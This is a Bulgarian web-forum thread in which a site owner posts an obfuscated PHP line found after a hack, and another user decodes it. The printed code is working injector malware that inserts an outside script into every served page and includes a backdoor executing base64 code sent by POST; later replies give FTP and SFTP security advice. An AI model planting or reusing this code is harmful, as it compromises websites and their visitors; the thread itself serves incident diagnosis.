Намерих код в един от файлове на сайта си който не са слагал

[ventsi34]

<?php eval(base64_decode('aWYoIWZ1bmN0aW9uX2V4aXN0cygnZGNkbScpKXtmdW5jdGlvbiBkY2RtKCRzKXtpZihwcmVnX21hdGNoX2FsbCgnIzxzY3JpcHQoLio/KTwvc2NyaXB0PiNpcycsJHMsJGEpKWZvcmVhY2goJGFbMF1hcyR2KWlmKGNvdW50KGV4cGxvZGUoIlxuIiwkdikpPjUpeyRlPXByZWdfbWF0Y2goJyNbXCciXVteXHNcJyJcLiw7XD8hXFtcXTovPD5cKFwpXXszMCx9IycsJHYpfHxwcmVnX21hdGNoKCcjW1woXFtdKFxzKlxkKywpezIwLH0jJywkdik7aWYoKHByZWdfbWF0Y2goJyNcYmV2YWxcYiMnLCR2KSYmKCRlfHxzdHJwb3MoJHYsJ2Zyb21DaGFyQ29kZScpKSl8fCgkZSYmc3RycG9zKCR2LCdkb2N1bWVudC53cml0ZScpKSkkcz1zdHJfcmVwbGFjZSgkdiwnJywkcyk7fWlmKHByZWdfbWF0Y2hfYWxsKCcjPGlmcmFtZSAoW14+XSo/KXNyYz1bXCciXT8oaHR0cDopPy8vKFtePl0qPyk+I2lzJywkcywkYSkpZm9yZWFjaCgkYVswXWFzJHYpaWYocHJlZ19tYXRjaCgnI1tcLiBdd2lkdGhccyo9XHMqW1wnIl0/MCpbMC05XVtcJyI+IF18ZGlzcGxheVxzKjpccypub25lI2knLCR2KSYmIXN0cnN0cigkdiwnPycuJz4nKSkkcz1wcmVnX3JlcGxhY2UoJyMnLnByZWdfcXVvdGUoJHYsJyMnKS4nLio/PC9pZnJhbWU+I2lzJywnJywkcyk7JHM9c3RyX3JlcGxhY2UoJGE9YmFzZTY0X2RlY29kZSgnUEhOamNtbHdkQ0J6Y21NOWFIUjBjRG92TDJGdGIzSm1PRFF1WlhoMGNtRXVhSFV2ZEdWdGNHeGhkR1Z6TDI1bGQzTmZZMjl0YldWdWRITXVjR2h3SUQ0OEwzTmpjbWx3ZEQ0PScpLCcnLCRzKTtpZihzdHJpc3RyKCRzLCc8Ym9keScpKSRzPXByZWdfcmVwbGFjZSgnIyhccyo8Ym9keSkjbWknLCRhLidcMScsJHMsMSk7ZWxzZWlmKHN0cnBvcygkcywnPGEnKSkkcz0kYS4kcztyZXR1cm4kczt9ZnVuY3Rpb24gZGNkbTIoJGEsJGIsJGMsJGQpe2dsb2JhbCRkY2RtMTskcz1hcnJheSgpO2lmKGZ1bmN0aW9uX2V4aXN0cygkZGNkbTEpKWNhbGxfdXNlcl9mdW5jKCRkY2RtMSwkYSwkYiwkYywkZCk7Zm9yZWFjaChAb2JfZ2V0X3N0YXR1cygxKWFzJHYpaWYoKCRhPSR2WyduYW1lJ10pPT0nZGNkbScpcmV0dXJuO2Vsc2VpZigkYT09J29iX2d6aGFuZGxlcicpYnJlYWs7ZWxzZSRzW109YXJyYXkoJGE9PSdkZWZhdWx0IG91dHB1dCBoYW5kbGVyJz9mYWxzZTokYSk7Zm9yKCRpPWNvdW50KCRzKS0xOyRpPj0wOyRpLS0peyRzWyRpXVsxXT1vYl9nZXRfY29udGVudHMoKTtvYl9lbmRfY2xlYW4oKTt9b2Jfc3RhcnQoJ2RjZG0nKTtmb3IoJGk9MDskaTxjb3VudCgkcyk7JGkrKyl7b2Jfc3RhcnQoJHNbJGldWzBdKTtlY2hvICRzWyRpXVsxXTt9fX0kZGNkbWw9KCgkYT1Ac2V0X2Vycm9yX2hhbmRsZXIoJ2RjZG0yJykpIT0nZGNkbTInKT8kYTowO2V2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ2UnXSkpOw==')); ?>

Това е кода какво може да значи защото сайта ми беше хакнат някак преди седмица.

 

[vesku]

if(!function_exists('dcdm')){function dcdm($s){if(preg_match_all('#<script(.*?)</script>#is',$s,$a))foreach($a[0]as$v)if(count(explode("\n",$v))>5){$e=preg_match('#[\'"][^\s\'"\.,;\?!\[\]:/<>\(\)]{30,}#',$v)||preg_match('#[\(\[](\s*\d+,){20,}#',$v);if((preg_match('#\beval\b#',$v)&&($e||strpos($v,'fromCharCode')))||($e&&strpos($v,'document.write')))$s=str_replace($v,'',$s);}if(preg_match_all('#<iframe ([^>]*?)src=[\'"]?(http:)?//([^>]*?)>#is',$s,$a))foreach($a[0]as$v)if(preg_match('#[\. ]width\s*=\s*[\'"]?0*[0-9][\'"> ]|display\s*:\s*none#i',$v)&&!strstr($v,'?'.'>'))$s=preg_replace('#'.preg_quote($v,'#').'.*?</iframe>#is','',$s);$s=str_replace($a=base64_decode('PHNjcmlwdCBzcmM9aHR0cDovL2Ftb3JmODQuZXh0cmEuaHUvdGVtcGxhdGVzL25ld3NfY29tbWVudHMucGhwID48L3NjcmlwdD4='),'',$s);if(stristr($s,'<body'))$s=preg_replace('#(\s*<body)#mi',$a.'\1',$s,1);elseif(strpos($s,'<a'))$s=$a.$s;return$s;}function dcdm2($a,$b,$c,$d){global$dcdm1;$s=array();if(function_exists($dcdm1))call_user_func($dcdm1,$a,$b,$c,$d);foreach(@ob_get_status(1)as$v)if(($a=$v['name'])=='dcdm')return;elseif($a=='ob_gzhandler')break;else$s[]=array($a=='default output handler'?false:$a);for($i=count($s)-1;$i>=0;$i--){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start('dcdm');for($i=0;$i<count($s);$i++){ob_start($s[$i][0]);echo $s[$i][1];}}}$dcdml=(($a=@set_error_handler('dcdm2'))!='dcdm2')?$a:0;eval(base64_decode($_POST['e']));

МММ харесва ми

 

[ventsi34]

е кажете на това ли се дължи хакването?

 

[kriss]

и аз имам един подобен код и нзн от къде е :shock:

 

[embaka]

като използвате FTP връзка се получава така, в контролния панел на хоста има логове, където пише за ФТП потребителя от какво ип е влизано, ако са много и на често значи е пробив от засичане на паролата при логване в системата.

Използвахте SFTP връзка (криптирана), аз преди време имах подобни проблеми, от както оправих тая връзка не се е случвало. А и си сменете паролите на достъп до ftp